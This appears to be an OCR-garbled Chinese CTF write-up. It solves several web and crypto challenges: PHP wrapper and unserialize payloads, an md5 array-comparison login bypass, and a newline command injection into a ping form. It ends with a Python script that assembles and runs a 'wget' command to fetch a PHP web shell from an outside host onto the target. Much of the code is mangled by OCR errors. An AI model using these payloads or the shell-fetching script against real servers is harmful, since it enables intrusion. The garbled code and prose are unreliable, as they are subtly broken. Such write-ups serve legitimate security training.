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import binascii
real = ©@x9c4d9a5d
for y in range(100000, 999999):
if real == (binascii.crc32(str(y)) & Oxffffffff):

print(y)
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EE-just do it

JREETE; : http://hbctf-1252906577.costj.myqcloud.com/crypto/justdoit.cpp ( EZFEHELIL )
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# -*- coding:utf8 -*- Python
def foo():
a=[0]*19
key="a7shw9010e63nfi19dk"
k=[ord(i) for i in key]
e=[71,100,24,51,16,97,81,59,53,94,99,100,29,116,25,77,96,27,105]
a[@]=ord('H")
for i in range(len(e)-1):
k[i+1]~=k[i]~a[i%7]"a[i%9]
ali+1]=0x53"e[i]"k[i]
print ''.join([chr(i) for i in a])
pass
if __name__ == '__main__ ":
foo()
print ‘ok"
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you are not admin !
<=
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
telse{
echo "you are not admin ! ";

}
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http://123.206.66.106/index.php?user=php://input
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http://123.206.66.106/2user=data://text/plain;base64,dGh1IHVzZXIgaXMgYWRtaWi=

. JBthe user is admin Fbase64gARIENIRS S

AE2EEhelle admin! ZEXANHE | fileSERILAB S class.php3fs , passSEIAAFIE , XAY , [EHE
FFphpfhthiickEZE class.phpi&fs , payloadfl :

http://123.206.66.106/index.php/?user=data://text/plain;base64,dGhl1IHVzZXIgaXMgYWRtaW4=&file=php://filter/convert.base
64-encode/resource=class.php
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PHP
<?php

class Read{//f1a9.php
public $file;
public function __ toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}

return

__toString was called!";

AEtaEH passE#iLikEflag , payloaddl ™

http://123.206.66.106/index.php/?user=data://text/plain;base64,dGhl1IHVzZXIgaXMgYWRtaW4=&file=class.php&pass=0:4:"Read"
:1:{s:4:"file";s:10:"./f1a9.php";}
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PHP
function d_addslashes($array){

foreach($array as $key=>$value){
if(!is_array($value)){
lget magic_quotes_gpc()&&$value=addslashes($value);
$array[$key]=$value;
telse{
$array[$key]=d_addslashes($array[$key]);
¥
}
return $array;
by
$_POST = d_addslashes($_POST);
$_GET = d_addslashes($_GET);
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$username =isset($_POST[ 'username'])?$_POST[ 'username’]:die(); PHP
$password = isset($_POST[ 'password’])?md5($_POST[ 'password']):die();
$sql="select password from users where username='$username'";
$result = $conn->query($sql);
if(!$result){
die('<script>alert("HF BEFELER! 1" )</script>");
}
$row = $result->fetch_assoc();
if($row[@] === $password){
$_SESSION[ 'username’ ]=$username;
$_SESSION| 'status']=1;
header("Location:./ping.php");
telse{
die("<script>alert('H P ZEFEHLHEIR! ' )</script>");
by
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if(!$result){
die('<script>alert("HF BEFLER!")</script>");
)i

BMEEBE( SN — N EERN AR, XiftKaAHm01T,H A $db->query($sql) iIREIFIE—mysql res
ourcezsEBY YA ATTRENZS. {/RAJLARS var_dump($result) i{— .
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$row[@] === $password
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username=18&password[ ]=1
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1. ip WIE xxxx BHET, x 3R 1-31M8F

2. ipKEVWRATET7/NTETLS BNESIREptEFEIR

3. ATLAERIXEETUATiIp: x XX X[{EEZF

X ipJip=0.0.0.1|| 2R, % [E] PING 0.0.0.12 (0.0.0.12): 56 data bytes
RER T || B AT T FHEIE R LURII&LS. ()., B EIR N T
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Mhz:ip=0.0.0.1%0als -al REZN T, 5EERIsSELIIHIT.

PING 0.0.0.1 (0.0.0.1): 56 data bytes

total 8

drwxr-xr-x 2 www-data www-data 4096 Apr 7 04:54 .
drwxr-xr-x 5 www-data www-data 4096 Apr 7 04:54 ..

Mizt:ip=0.0.0.1%0apwd JR[E 7 MBTHIEITIRZR



PING ©.0.0.1 (0.0.0.1): 56 data bytes
/usr/share/nginx/html/sandBox/10.36.101.50

RIRE TN FREMA T B R 7 N R0 ST, &FXE X Ehttp://wonderkun.cc/index.h
tml/?p=524

THEZEHpythoniypayloadiE:

) Python
#!/usr/bin/python

#-*- coding: utf-8 -*-

import requests
def GetShell():
url = "http://vctf.ctftools.com/ping.php"
header = {
"Cookie" :"PHPSESSID=5rfro3re8253tv5f6fp5kd7416",
"Content-Type":"application/x-www-form-urlencoded"
¥
#fileNames = ["1.php","-0\ \\","cn\ \\","\ a.\\","wget\\"]
# linux@IESPEATRESESL, FEEL FUEER e\ \\"
# A MEhostsf:, ika.cnfBA—ANEH CHIRS .
# ffa.cn WIREZXTFAIEindex.html , AER—4php shell
wget\\
\ wo\\
nd\\
er\\
ku\\
n.\\
cc\ \\
-0\ \\
1.php
fileNames = ["1.php","-0\ \\\\","cc\ \\\\", "n NN\, "KuNANY, "er\ A\, "nd\ ALY, "\ wo\ N\, "wget\\\
ip = "0.0.0.1%0a"
for fileName in fileNames:
createFileIp = ip+">"+fileName
print createFilelIp
data="ip="+createFilelp

requests.post(url,data=data,headers=header)

proxy = {"http":"127.0.0.1:8080"}

getShIp = ip + "1s%20-t>1"

print getShIp

data="ip="+getShIp

requests.post(url,data=data, headers=header, proxies=proxy)
getShellIp = ip + "sh%201"

print getShellIp

data="ip="+getShellIp

requests.post(url,data=data, headers=header, proxies=proxy)

shellUrl = "http://vctf.ctftools.com/sandBox/10.25.159.132/1.php" #10.25.159.132hH 2 IP
response = requests.get(shellUrl)
if response.status_code == 200:
print "[*] Get shell !"
else :
print "[*] faill!"
if _name__ == " _ main_ ":

GetShell()
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